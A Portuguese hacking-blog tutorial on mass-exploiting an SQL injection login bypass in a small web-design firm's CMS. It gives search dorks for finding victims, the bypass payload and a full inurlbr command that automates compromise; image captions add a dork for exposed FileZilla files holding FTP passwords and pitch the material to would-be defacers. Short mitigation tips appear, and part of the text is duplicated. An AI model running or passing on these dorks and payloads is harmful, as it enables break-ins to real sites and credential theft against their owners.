Até o momento a grande utilização do scanner é feito por meio de exploração via GET e validando valores de retorno, faremos o mesmo porem com comando voltados pro resquest POST.
Para tal tutorial vamos usar um exploit publicado no Exploit4arab
Exploit:
http://www.exploit4arab.net/exploits/1741 - Exploit Author : GeNeRaL
Affected Webs/Versions : All
O XPL trata-se de explorar um falha SQLI do painel de acesso administrativo do site, CMS feito pela empresa Shafferwebdesign.
Dork:
Dork:
intext:"by Shaffer Web Design" ext:php
intext:"Designed by Shaffer Web Design"
intext:"Website Development provided by Shaffer Web Design"
Acesso:
http://www.xx.com/admin.php
POC:
Request POST
Request POST
http://www.xx.com/login.php?email='=' 'OR'&password='=' 'OR'&from_page=http://www.xx.us/&Submit_Login=Login to My Account
Campos explorados com um simples Bypass:
email='=' 'OR'
password='=' 'OR'
Debug request:
- 1 - Enviamos o request Bypass para o arquivo login.php
- 2 - O servidor aceita o request e retorna código 302 http de redirecionamento.
- 3 - Somos redirecionados para pagina my_account.php do servidor.
Agora vamos montar comando para exploração via INURLBR.
Download:
Download:
Comando:
- Setar DORK de pesquisa:
Exemplo:
Exemplo:
--dork Defines which dork the search engine will use.
Example: --dork {dork}
Usage: --dork 'site:.gov.br inurl:php? id'
- Using multiples dorks:
Example: --dork {[DORK]dork1[DORK]dork2[DORK]dork3}
Usage: --dork '[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp'
Usando para exploração atual:
--dork 'intext:"by Shaffer Web Design" ext:php'
- Setar OUTPUT:
Exemplo:
-s Specify the output file where it will be saved the vulnerable URLs.
Example: -s {file}
Usage: -s your_file.txt
Usando para exploração atual:
-s tutorial.txt
- Setar ifredirect validação da URL redirecionamento:
Exemplo:
--ifredirect Return validation method post REDIRECT_URL
Example: --ifredirect {string_validation}
Usage: --ifredirect '/admin/painel.php'
Usando para exploração atual:
--ifredirect 'my_account.php'
- Setar string que será concatenada junto ao host, para isso usamos o exploit-get:
Exemplo:
--exploit-get Defines which exploit will be injected through the GET method to each URL found.
Example: --exploit-get {exploit_get}
Usage: --exploit-get "?'´%270x27;"
Usando para exploração atual:
--exploit-get '/login.php'
Ai fica a pergunta, mas por quê ? eu uso exploit-get em algo que é explorado via post ?
R: O comando exploit-get do script inurlbr é tratado mais como um concatenador de string adicionado no final de cada alvo depois executado, por esse motivo é possível usar ele sem altera o Request total.
- Setar request Bypass POST
Exemplo:
--exploit-post Defines which exploit will be injected through the POST method to each URL found.
Example: --exploit-post {exploit_post}
Usage: --exploit-post 'field1=valor1&field2=valor2&field3=?´0x273exploit;&botao=ok'
Usando para exploração atual:
--exploit-post "email='=' 'OR'&password='=' 'OR'&from_page=http://www.theultimaterose.com/&Submit_Login=Login to My Account"
Comando completo:
php inurlbr.php --dork 'intext:"by Shaffer Web Design" ext:php' -s tutorial.txt --ifredirect 'my_account.php' --exploit-get '/login.php' --exploit-post "email='=' 'OR'&password='=' 'OR'&from_page=http://www.xx.com/&Submit_Login=Login to My Account"
Exemplo de Saída vulnerável:
OBS: Exemplo do print usei comando -o para abrir um arquivo com alvo.
Solução ?
Referencia para soluções e estudos:
http://php.net/manual/pt_BR/security.database.sql-injection.php
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)
http://php.net/manual/en/pdo.prepared-statements.php
http://us3.php.net/manual/en/filter.filters.validate.php
https://www.owasp.org/images/5/57/OWASP-AppSecEU08-Janot.pdf
R: O comando exploit-get do script inurlbr é tratado mais como um concatenador de string adicionado no final de cada alvo depois executado, por esse motivo é possível usar ele sem altera o Request total.
- Setar request Bypass POST
Exemplo:
--exploit-post Defines which exploit will be injected through the POST method to each URL found.
Example: --exploit-post {exploit_post}
Usage: --exploit-post 'field1=valor1&field2=valor2&field3=?´0x273exploit;&botao=ok'
--exploit-post "email='=' 'OR'&password='=' 'OR'&from_page=http://www.theultimaterose.com/&Submit_Login=Login to My Account"
Comando completo:
php inurlbr.php --dork 'intext:"by Shaffer Web Design" ext:php' -s tutorial.txt --ifredirect 'my_account.php' --exploit-get '/login.php' --exploit-post "email='=' 'OR'&password='=' 'OR'&from_page=http://www.xx.com/&Submit_Login=Login to My Account"
Exemplo de Saída vulnerável:
Solução ?
- Sempre filtre o que vem do cliente.
- Não confie em dados que vem do cliente.
- Filtre todo request seja get ou post $_REQUEST.
- Use PDO sem moderação Prepared Statements é o poder.
- Use filtros nativos do PHP filter_var
Referencia para soluções e estudos:
http://php.net/manual/pt_BR/security.database.sql-injection.php
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)
http://php.net/manual/en/pdo.prepared-statements.php
http://us3.php.net/manual/en/filter.filters.validate.php
https://www.owasp.org/images/5/57/OWASP-AppSecEU08-Janot.pdf
![It's an old vulnerability FileZilla, but we can still find servers with such a security breach, Vulnerability allows access to sensitive files from the server. Containing passwords and FTP users. FileZilla version ~ 3.0.9.2+ (and possibly older) store all FTP connection data .xml files in plain text. The following files are what you need to know about: filezilla.xml – Stores most recent server info including password in plaintext. recentservers.xml – Stores all recent server info including password in plaintext. sitemanager.xml – Stores all saved sites server info including password in plaintext. These files can usually be found in the following directories: Windows XP/2K: "C:\Documents and Settings\username\Application Data\FileZilla" Windows Vista: "C:\Users\username\AppData\Roaming\FileZilla\" Linux: "/home/username/.filezilla/" FileZilla configuration files FileZilla is a cross-platform application. That’s why it stores its settings in platform-neutral XML files.](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisyuhJN1lWHzJeELxvKmxH_975sKTPoXvg_n2W2oXk0cxvsUciOs1_tjYETdwVs0tcM76Ijivmc0vOLOW6xTlkMAxFI_WfKnthQbEWG1y5bgK7F8d2dtBAiDQCwNDTaxLioOjR5145dvyG/s1600/Captura+de+tela+de+2015-08-02+23%253A14%253A43.png "It's an old vulnerability FileZilla, but we can still find servers with such a security breach, Vulnerability allows access to sensitive files from the server. Containing passwords and FTP users. FileZilla version ~ 3.0.9.2+ (and possibly older) store all FTP connection data .xml files in plain text. The following files are what you need to know about: filezilla.xml – Stores most recent server info including password in plaintext. recentservers.xml – Stores all recent server info including password in plaintext. sitemanager.xml – Stores all saved sites server info including password in plaintext. These files can usually be found in the following directories: Windows XP/2K: \"C:\Documents and Settings\username\Application Data\FileZilla\" Windows Vista: \"C:\Users\username\AppData\Roaming\FileZilla\\" Linux: \"/home/username/.filezilla/\" FileZilla configuration files FileZilla is a cross-platform application. That’s why it stores its settings in platform-neutral XML files.")
![Full command - using search engines: php inurlbr.php --dork '"\FileZilla\" ext:xml' -s filezilla.txt -t 2 -a '<FileZilla3>' OUTPUT PRINT:](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpw-v-NxKew0VjWqYgwCK5us0NkiqJ0rK8e4oCChsld4q8xNnEtPHwxHVlsLSHhgMACiE-tHBXibDdanePY29ZozanWR5NveCWgAPrIww4YG8HzIeU-8fwT8bIr2KM2nYF8SxgVjURwvNh/s1600/Captura+de+tela+de+2015-08-02+21%253A11%253A26.png "Full command - using search engines: php inurlbr.php --dork '\"\FileZilla\\" ext:xml' -s filezilla.txt -t 2 -a '<FileZilla3>' OUTPUT PRINT:")
![[0x00] Introdução Bom vamos lá esse artigo é bem simples porem bem útil para gurizada que curte um defacement porém não possui muito conhecimento e que passam um bom tempo ate conseguir "quebrar" um hash dessas CMS.](http://www.w3chacking.com/wp-content/uploads/2012/11/w3ctrlhacking-sql-injection-1140x600.jpg "[0x00] Introdução Bom vamos lá esse artigo é bem simples porem bem útil para gurizada que curte um defacement porém não possui muito conhecimento e que passam um bom tempo ate conseguir \"quebrar\" um hash dessas CMS.")
